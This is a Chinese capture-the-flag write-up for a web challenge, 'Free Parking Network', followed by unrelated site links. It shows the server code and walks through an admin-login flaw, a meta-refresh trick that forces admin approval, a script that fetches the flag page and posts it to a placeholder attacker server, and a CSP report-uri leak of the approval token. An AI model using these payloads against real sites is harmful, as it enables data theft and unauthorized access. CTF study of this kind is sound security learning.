当前位置: 首页 > news >正文

xss利用meta强制跳转 CPS report-uri 报错泄露利用 -- GPN CTF 2025 Free Parking Network 1 2

part 1

在此题目中,我们可以指定html与标头

<sCrIpt>alert(1)</ScRipt>
A5rz: A5rz

服务器会返回如下内容

HTTP/1.1 200 OK
X-Powered-By: Express
A5rz: A5rz
Content-Type: text/html; charset=utf-8
Content-Length: 619
ETag: W/"26b-14GnlO+yaaXJ3CEkd0rBJ/mmY8g"
Date: Mon, 23 Jun 2025 01:56:22 GMT
Connection: keep-alive
Keep-Alive: timeout=5<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="Content-Security-Policy" content="default-src 'none'"><title>User made site hosted on our Free Parking Network</title></head><body><a href="/approve/a0d9faca7b6600e81d51347556a093e5/">Approve this site</a><sCrIpt>alert(1)</ScRipt></body></html>

我们发现返回中存在一个严格的标签使得我们无法执行

<meta http-equiv="Content-Security-Policy" content="default-src 'none'">

继续查看发现此标签来自这段代码

// 提供上传的HTML和自定义头部
sessionRouter.get('/site/:id', async (req, res) => {try {// 根据ID获取网站信息const site = await db.getSiteById(req.params.id);if (!site) return res.status(404).send('Not found');// 设置自定义HTTP头部if (site.headers){site.headers.split("\n").forEach(header => {const [key, ...rest] = header.split(":");const value = rest.join(":");if (key && value) {res.setHeader(key.trim(), value.trim());}});}// 设置内容类型res.setHeader('Content-Type', 'text/html; charset=utf-8');// 检查访问权限if ((req.session.userId !== 0 && req.session.userId !== site.owner) && !site.approved) {return res.status(403).send('This site is not approved yet. Please wait for admin approval.');}// 处理批准令牌approveToken = "";if (req.session.userId === 0) approveToken = site.approveToken;// 处理内容安全策略CSP = "";if (site.approved !== 1) CSP = '<meta http-equiv="Content-Security-Policy" content="default-src \'none\'">';console.log(`Serving site ${site.id} with owner ${site.owner} and approved status ${site.approved}`);// 渲染HTML模板html = hosting_template.replaceAll("{{site.html}}", site.html || 'NO HTML FOUND').replaceAll("{{site.id}}", site.id || 'NO ID FOUND, how did this even happen?').replaceAll("{{site.approveToken}}", approveToken).replaceAll("{{CSP}}", CSP);res.send(html);} catch (e) {console.error(e);res.status(500).send('Internal error');}
});

如果用户拥有damin权限则不会有此限制

// 管理员登录端点
noSessionRouter.get('/admin/login', async (req, res, next) => {let adminToken = req.query.adminToken;// 验证管理员令牌if (req.query.adminToken !== adminToken) {res.send("Token is wrong");return;}// 设置管理员会话req.session.returning = true;req.session.userId = 0;res.sendStatus(200);
});

flag在flag网站中,但是此网站是未被批准的

// 网站批准端点
sessionRouter.get("/approve/:siteId/:approveToken", async (req, res) => {let siteId = req.params.siteId;let approveToken = req.params.approveToken;// 获取网站信息site = await db.getSiteById(siteId);// 检查批准令牌是否有效if (approveToken !== site.approveToken) {res.send("Invalid approval token");return;}// 批准网站await db.approveSite(siteId);res.send("Site approved");
});

此处还存在类似模板注入的漏洞。

// 渲染HTML模板
html = hosting_template.replaceAll("{{site.html}}", site.html || 'NO HTML FOUND').replaceAll("{{site.id}}", site.id || 'NO ID FOUND, how did this even happen?').replaceAll("{{site.approveToken}}", approveToken).replaceAll("{{CSP}}", CSP);

题目中存在一个明显的漏洞,导致任何人都可以是admin

noSessionRouter.get('/admin/login', async (req, res, next) => {let adminToken = req.query.adminToken;if (req.query.adminToken !== adminToken) {res.send("Token is wrong");return;}req.session.returning = true;req.session.userId = 0;res.sendStatus(200);
});
/admin/login?adminToken=1

part 2

修复了任何人都可以是admin的问题

方案1

Trick: <meta> 可用于强制跳转,结合之前的"模板注入",可以强制让admin审批我们的网站,取消我们网站的xss限制

<meta http-equiv="refresh" content="1; url=/approve/{{site.id}}/{{site.approveToken}}">
/review/:siteId

然后我们可以带出token,让管理员审批/flag

<script>
fetch('/site/flag').then(r => r.text()).then(data =>fetch('xss服务器', {method: 'POST',body: data}))
</script>

方案2

Content-Security-Policy (CSP) 的 report-uri 指令是一个用于收集违反CSP策略报告的机制。它本身不阻止浏览器加载被禁止的资源或执行被禁止的脚本,而是将违规行为详细记录下来,发送到你指定的服务器端点。

Content-Security-Policy: default-src *; style-src 'report-sample'; script-src 'unsafe-inline'; report-uri xss服务器url;

这允许我们构造故意的错误,向外部服务器泄露错误的详细信息

<style>
{{site.approveToken}}
</style>
http://www.lqws.cn/news/487621.html

相关文章:

  • 设计模式 - 抽象工厂
  • Perl 正则表达式
  • Chromium 136 编译指南 macOS篇:编译优化技巧(六)
  • 苹果芯片macOS安装版Homebrew(亲测)
  • “自动化失败归因”测试集-WhoWhen
  • RealSense 相机 | 读取IMU | 解决权限问题 | 提供示例程序
  • 【无刷电机FOC进阶基础准备】【04 clark变换、park变换、等幅值变换】
  • Python Django全功能框架开发秘籍
  • 五分钟了解@ExcelIgnoreUnannotated注解
  • Bug闭环解决之道:主流Bug追踪工具优劣对比
  • 月球上基于分段的全局定位
  • 【BFS】P9126 [USACO23FEB] Moo Route II S|普及+
  • MCU双分区方案,如何优雅地获知当前运行分区?
  • 纯血HarmonyOS5 打造小游戏实践:绘画板(附源文件)
  • 【基础篇-消息队列】——详解 RocketMQ 和 Kafka 的消息模型
  • 7.4.2B+树
  • 红帽全球副总裁曹衡康:开源AI开启企业级应用新纪元
  • 详解HarmonyOS NEXT仓颉开发语言中的全局弹窗
  • Android 中查看数据库内容方式
  • vue-23(创建用于逻辑提取的可重用组合组件)
  • Linux-系统管理
  • Java面试题027:一文深入了解数据库Redis(3)
  • 【Linux指南】文件管理高级操作(复制、移动、查找)
  • 学习Linux进程冻结技术
  • 县城消费市场的调研
  • 微算法科技(NASDAQ:MLGO)研发可信共识算法TCA,解决区块链微服务中的数据一致性与安全挑战
  • 从哈希到挑战响应,密码传输安全解析
  • 基于Qt开发的ModbusTcp主站软件开发教程​——从协议原理到工业级实现
  • python基于微信小程序的广西文化传承系统
  • Vscode自定义代码快捷方式